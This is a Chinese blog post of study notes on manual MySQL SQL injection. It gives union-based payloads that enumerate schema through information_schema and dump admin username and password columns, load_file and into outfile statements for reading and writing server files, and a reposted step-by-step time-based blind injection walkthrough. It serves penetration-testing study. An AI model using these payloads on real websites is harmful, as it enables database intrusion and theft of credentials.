首页 > 代码库 > mysql注入篇

mysql注入篇

博客这个东西真的很考验耐心,每写一篇笔记,都是在艰难的决定中施行的,毕竟谁都有懒惰的一面,就像这个,mysql注入篇,拖拖拖一直拖到现在才开始总结,因为这个实在是太多太杂了,细细的总结一篇太烧脑。

由于我没有找见php的实战本地源码,所以只好用一些漏洞平台的源码来演示了,演示不了的,只能列代码,没有实操图。毕竟找不见源码,,没法。。。

首先我们都知道mysql数据库和Access数据库的不同,不同在mysql是分多个数据库名的。

技术分享
就像像我上图贴的这个格式一样,原谅我是在是没有本地源码,连数据库的都没有,所以,贴不开实际图。

在mysql注入中,我们不细谈mysql其他的技巧类,只讲注入,说到这里,这个数据库可以分为两个部分,一个是5.0以上,一个是5.0以下。因为在5.0以上的版本中,会存在一个类似虚拟的information_schema 这个数据库,里面汇总了该大数据库下,所有的数据,也就是说是在其他数据库A,数据库B以内的数据,都可以在这里找见,而5.0以下的,就只能和Access数据库一样靠猜解库名,表名,列名。

现在来介绍几个在渗透测试中常用的几个函数和表库名。

数据库名:database()

数据库版本: version()

数据库用户: user()

操作系统: @@version_compile_os

系统用户名: system_user()

当前用户名: current_user

连接数据库的用户名:session_user()

读取数据库路径:@@datadir

MYSQL安装路径:@@basedir

load_file 转成16进制或者10进制 MYSQL读取本地文件函数

into outfile 写入函数

储存所有表名信息的表 : information_schema.tables

表名 : table_name

数据库名: table_schema

列名 : column_name

储存所有列名信息的表 : information_schema.columns

好了下面就开始记录我构造的语句了,这里先说一点,我会总结的很细,但是我不会在这篇文章里总结一些注入绕过的技巧,只会总结一些注入得库,表,列的语句。mysql注入可分为很多中注入方法,从普通注入,报错注入,再到盲注,还有一些奇葩的注入点语句,也就是这些。关于大家都知道的post注入,cookie注入,字符串注入,搜索注入,这些注入技巧,我会专门开一片文章记录下,因为这些都是技巧性的。

我现在先记录mysql5.0 以上的注入方法,5.0以下的就像我前面的说的一样,没有规律可循,全靠蒙,全靠猜,和Access数据库一样。首先我需要判断是否可以注入,然后再判断 字段数,这两个步骤和Access数据库注入一样,都是 and 1=1 , and 1=2 ,还有 order by 字段数。剩下的注入库名,表名,列名,数据才是重点。

http://127.0.0.1/mysql/sql.php?x=1

假如这是一个注入点,我们知道他的字段数是3,那么我们的语句就是 :

http://127.0.0.1/mysql/sql.php?x=1 union select 1,2,3

然后直接回车,查看能否爆出数字,这里和Access的不同是,这里不需要在后面面加入表名,因为我们也不知道表名是啥,如果是5.0以下的,我们就只能像Access呢个的进行猜了。

假如爆出1,2 ,3 这三个字段数,那我们就可以注入一些信息了。

http://127.0.0.1/mysql/sql.php?x=1 union select database(),version(),user()

这三个函数,我们分别替代了1,2,3这三个位置,然后就可以得出数据库名,数据库版本,数据库用户,记住这是当前的数据库的名字,和用户。

假如我们得知:

当前数据库名:sqlin

数据库版本:5.5.40

当前数据库用户:root@localhost

当然我们也可以替换成其他的函数,比如 @datadir 来获取数据库路径, @@version_compile_os 来获取操作系统,对了说到操作系统,win对大小写不铭感,但是Linux对大小很铭感,不能出错的,这个要记住。

下面开始构造获取当前数据库下的表名:

http://127.0.0.1/mysql/sql.php?x=1 union select group_concat(table_name),2,3 from

information_schema.tables where table_schema=0x73716C696E20

这个语句的意思就是获取当前数据库下所有表名,0x73716C696E20

这个是hex编码,大家可以用小葵转换工具来转换,就是把第一步收集到的当前数据库名hex编码一下。当然我们也可以一个一个的来注入出当前数据库下所有表名,等等,让我去找找我的笔记本,我翻翻我自己在本子上记录的。额,找不见了,估计忘学校没拿了,,我去网上找找贴一段。

http://127.0.0.1/mysql/sql.php?x=1 union select table_name,2,3, from information_schema.SCHEMATA limit 0,1

这个也是可以注入出当前数据库的表名的,只不过是一个一个的输出,你知道控制limit后面的数字就可以,比如 0,1 、1,2、2,3 就是这个格式的。


不过我还是喜欢全部爆出来,然后再一个一个去找可能存在账密的表,所以我就只记录全部爆出的。

假如我们选中了一个叫 admin 的这个表名,那么就开始爆出该表名下的列名。

下面开始构造注入当前表名下的列名的语句:

http://127.0.0.1/mysql/sql.php?x=1 union select group_concat(column_name),2,3 from

information_schema.columns where table_name=0x61646D696E

这个就可以爆出所有该表名的下的列名,0x61646D696E 这个是我们刚才选中的 admin 这个表名的hex的转码。

这一步下去,我们就得到列名了,假如我们选中了 username ,password 这两个列名,那么我就开始爆数据了,这个就很简单了,

http://127.0.0.1/mysql/sql.php?x=1 union select 1,username,password from admin

这个是不是就出来了,对了还有个方法,就利用一个字数点,就爆出以内全部的列名下的信息。

http://127.0.0.1/mysql/sql.php?x=1 union select 1,group_concat(username,0x5c,password),3 from admin

这个就是利用一个点,出来全部的数据。

这个是最简单的常规测试的,我在上面的函数里是不是还列出了一个load_file() 这个函数,这个是用来读取路径内的内容的,但是必须是绝对路径,比如: D:\mysql\123,txt 它只能读取这样的绝对路径的内容。

这是一个例子:

http://127.0.0.1/mysql/sql.php?x=1 union select load_file(‘D:/mysql/123,txt ‘),2,3

这个就是一个读取,root权限和普通权限可以有很大区别的,如果是root,你可以读取全部的,如果不是root ,是普通,你只能读取普通用户才能读的文件。对了,root,,,前面还有一个函数,我得说说 into outfile 写入函数 ,这个必须是root权限才行的,而且你还得需要知道绝对路径。

这是一个例子:

http://127.0.0.1/mysql/sql.php?x=1 union select ‘shiyan‘,2,3 into outfile ‘D:/mysql/123,txt‘

对了,不知道你们发现了没有我在地址用了 / 这个,而没有用 \ 这个,算个小谜题,我不细说了。


到这里是不是就可以说完了?错!我盲注语句,还有报错语句还没汇总了。。。现在开始汇总。

先构造盲注语句吧,盲注的核心就是靠 if 判断来注入的,我去。。。我在本地的记事本上构造了半天,才想开一个问题,,,盲注不是几个简单的语句就能概括全的,就像上面写的虽然总结了,但是也只是常用的mysql手工注入,还有很多的其他的等等的。。。算了,我直接贴一个吧,在乌云上的文章,,一位大神总结的,但是也只是一小部分,还有其他的很多构造语句,他的文章对于理解盲注可以理解下,不过一般这类测试都是直接上sqlmap神器直接跑的,毕竟手工注入也只是因为灵活的特性才一直保留的,可以各种绕,各种测试,所以也是必须得会的。

我要开始贴这个大神总结mysql手工盲注了,(如果大神本人看到了,觉得侵权了,我可以私信我,我会删的。)

-----------------------------------------------------------------------------------------------------------

mysql手工盲注


作者:474082729@qq.com
技术分享
盲注的核心是靠 if 判断来注入

手工盲注之前先复习一下if 判断等函数

version() 是查看数据库版本 
database() 查看数据库名
user() 查看当前用户
length( xxxxx ) 函数是统计字符串的长度

技术分享mid(str,1,3) 字符串截取


技术分享从字节1开始截 截到3就结束


知乎专栏
ORD() 转换成ascii码


技术分享技术分享ascii码对照表 ASCII码对照表


IF 语法:
技术分享技术分享
if (条件,True,False);

开始手工盲注

select * from admin where user = "admin" and sleep(2); 执行需要2秒

1.获取数据库名长度
database() 查看数据库名

技术分享
## ( select length(database() ) )
查询数据库名长度

技术分享
select * from admin where user = "admin" and sleep( if( ( select length(database()) = 2 ) , 5,0 ) );
如果数据库的长度等于2的话那么就执行true 否则就执行False 
最后变成了 sleep(0) 
技术分享
如果数据库长度等于 7 的话 就执行true
最后变成了 sleep(5)

也就是select * from admin where user = "admin” and sleep(5)

最后得知数据库长度是 7 那么接下来就是获取数据库名了

2.获取数据库名
数据库长度是 7
select * from admin where user = "admin" and sleep( if( (select mid(database(),1,1) = ‘a‘ ) , 5,0 ) );
执行执行False 说明 第一个字节不是a
技术分享
select * from admin where user = "admin" and sleep( if( (select mid(database(),1,1) = ‘x‘ ) , 5,0 ) );
执行执行true 执行了5秒 说明第一个字节是x

然后慢慢注入到7。。。。。。
select * from admin where user = "admin" and sleep( if( (select mid(database(),1,1) = ‘x‘) , 5,0 ) );
select * from admin where user = "admin" and sleep( if( (select mid(database(),2,1) = ‘i‘ ) , 5,0 ) );
select * from admin where user = "admin" and sleep( if( (select mid(database(),3,1) = ‘n‘) , 5,0 ) );
select * from admin where user = "admin" and sleep( if( (select mid(database(),4,1) = ‘d‘) , 5,0 ) );
select * from admin where user = "admin" and sleep( if( (select mid(database(),5,1) = ‘o‘) , 5,0 ) );
select * from admin where user = "admin" and sleep( if( (select mid(database(),6,1) = ‘n‘) , 5,0 ) );
select * from admin where user = "admin" and sleep( if( (select mid(database(),7,1) = ‘g‘) , 5,0 ) );
第一个字节是x
第二个字节是i
第三个字节是n
第四个字节是d
第五个字节是o
第六个字节是n
第七个字节是g
全都是执行 5秒 然后得知 数据库是 xindong

当然了 这方法注入比较慢 比如有些数据库是特殊符号呢?那怎么办?一个一个符号猜解吗?
采用ORD函数进行ascii码来判断会快点

比如:

select * from admin where user = "admin" and sleep( if( ORD((select mid(database(),1,1))) > 200 , 5,0 ) );
条件:大于200 执行false 说明 不大于
select * from admin where user = "admin" and sleep( if( ORD((select mid(database(),1,1))) > 100 , 5,0 ) );
条件:大于100 执行true 说明大于
select * from admin where user = "admin" and sleep( if( ORD((select mid(database(),1,1))) > 120 , 5,0 ) );
条件:大于120 执行false 说明不大于
select * from admin where user = "admin" and sleep( if( ORD((select mid(database(),1,1))) > 110 , 5,0 ) );
条件:大于110 执行true 说明大于

说明数据库第一个字节的ascii码大于110小于120
说明是110~120之间

select * from admin where user = "admin" and sleep( if( ORD((select mid(database(),1,1))) = 120 , 5,0 ) );

等于 120 执行true 说明第一个字节的ascii码是120
技术分享
最后解码得出是 x


3.获取表名长度

select * from admin where user = ‘admin‘ and 1=2 union select 1, sleep(if( length(TABLE_NAME) = 5 ,5,0)) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1;

字节等于 5 执行true
说明表名长度为5 


4.获取表名


获取第1个字节
select * from admin where user = ‘admin‘ and 1=2 union select 1,sleep( if( (select mid(TABLE_NAME,1,1))=‘a‘ ,5,0) ) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1;
请求时间为5秒 说明是a

获取第2个字节

select * from admin where user = ‘admin‘ and 1=2 union select 1,sleep( if( (select mid(TABLE_NAME,2,1))=‘d‘ ,5,0) ) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1;
请求时间为5秒 说明是d

获取第3个字节

select * from admin where user = ‘admin‘ and 1=2 union select 1,sleep( if( (select mid(TABLE_NAME,3,1))=‘m‘ ,5,0) ) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1;
请求时间为5秒 说明是m

获取第4个字节

select * from admin where user = ‘admin‘ and 1=2 union select 1,sleep( if( (select mid(TABLE_NAME,4,1))=‘i‘ ,5,0) ) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1;
请求时间为5秒 说明是i

获取第5个字节

select * from admin where user = ‘admin‘ and 1=2 union select 1,sleep( if( (select mid(TABLE_NAME,5,1))=‘n‘ ,5,0) ) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1;
请求时间为5秒 说明是n




5.获取表名的第一个字段长度
表名是:admin 16进制:61646d696e
select * from admin where user = ‘admin‘ and 1=2 union select 1,sleep( if (length(COLUMN_NAME) = 4,5,0 ) ) from information_schema.COLUMNS where TABLE_NAME=0x61646d696e limit 0,1;

请求时间5秒 说明第一个子段有4个字节

6.获取表名的第一个字段名


select * from admin where user = ‘admin‘ and 1=2 union select 1,sleep( if( ( select mid(COLUMN_NAME,1,1) )= ‘u‘,5,0)) from information_schema.COLUMNS where TABLE_NAME=0x61646d696e limit 0,1;

select * from admin where user = ‘admin‘ and 1=2 union select 1,sleep( if( ( select mid(COLUMN_NAME,2,1) )= ‘s‘,5,0)) from information_schema.COLUMNS where TABLE_NAME=0x61646d696e limit 0,1;

select * from admin where user = ‘admin‘ and 1=2 union select 1,sleep( if( ( select mid(COLUMN_NAME,3,1) )= ‘e‘,5,0)) from information_schema.COLUMNS where TABLE_NAME=0x61646d696e limit 0,1;

select * from admin where user = ‘admin‘ and 1=2 union select 1,sleep( if( ( select mid(COLUMN_NAME,4,1) )= ‘r‘,5,0)) from information_schema.COLUMNS where TABLE_NAME=0x61646d696e limit 0,1;


爆出第一个字段是 user


然后第一个字段判断可能是用户名 还少来个密码字段那么就在 5.获取表名的第一个字段长度 把limit 1,1 获取下一个字段长度再进行获取密码字段

7.获取数据库内容
7.1 先猜第一个字段的数据库的长度
select * from admin where user = ‘admin‘ and 1=2 union select 1,sleep( if (length(user) = 5 , 5,0) ) from admin limit 0,1;
执行5秒 说明这个字段的数据内容字节长度是5

那么就是获取数据了
select * from admin where user = ‘admin‘ and 1=2 union select 1,sleep( if (mid(user,1,1) = ‘a‘ , 5,0) ) from admin limit 0,1;
select * from admin where user = ‘admin‘ and 1=2 union select 1,sleep( if (mid(user,2,1) = ‘d‘ , 5,0) ) from admin limit 0,1;
select * from admin where user = ‘admin‘ and 1=2 union select 1,sleep( if (mid(user,3,1) = ‘m‘ , 5,0) ) from admin limit 0,1;
select * from admin where user = ‘admin‘ and 1=2 union select 1,sleep( if (mid(user,4,1) = ‘i‘ , 5,0) ) from admin limit 0,1;
select * from admin where user = ‘admin‘ and 1=2 union select 1,sleep( if (mid(user,5,1) = ‘n‘ , 5,0) ) from admin limit 0,1;

然后用户名就是 admin 了


终于贴完了,,,,,这些基本上就可以了解到手工盲注的原理和构造了,当然如果还想继续深入的话,可以去百度吧,,,去搜索吧。。。毕竟这些只是一些皮毛。

下面开始说其他的报错注入了,,,这个我研究了好久,后来一过年,我又忘的差不多了。。。。好多种报错方式注入,,这个我自己是真的只能找资料汇总到一块了,我自己是手写不开的,,都忘的差不多了。。。。

都是超链接,自己想深入的可以再去找找资料。

十种MySQL报错注入

根据mysql报错进行回显注入的原理是什么?

MySQL暴错注入方法整理

Mysql报错注入原理分析(count()、rand()、group by)

MySQL注入总结&MySQL暴错注入方法整理 

经典的MySQL Duplicate entry报错注入

好了,这些就差不多了,都是我看过的,虽说还是不太精通,,,毕竟这个在ctf中才会出现的题。。。。。

总结下吧,没有源码,无法演示,上面说的我用攻防平台吧,后来想了想,我还准备专门开帖子,记录我打本地攻防平台的帖子,提前上的话,感觉我就没动力记录的了。这个文章,正如上面说的,很多技巧都没记录,纯粹的简单的记录了下,毕竟我想把技巧性的再汇总到一个帖子里。

每记录一下,都是对自己知识的复习,就像人家搞培训的,多讲讲就不会忘,我是自己多写写多汇总汇总,就算忘了,我自己翻看我自己的记录也会很快想起来的。

mysql注入篇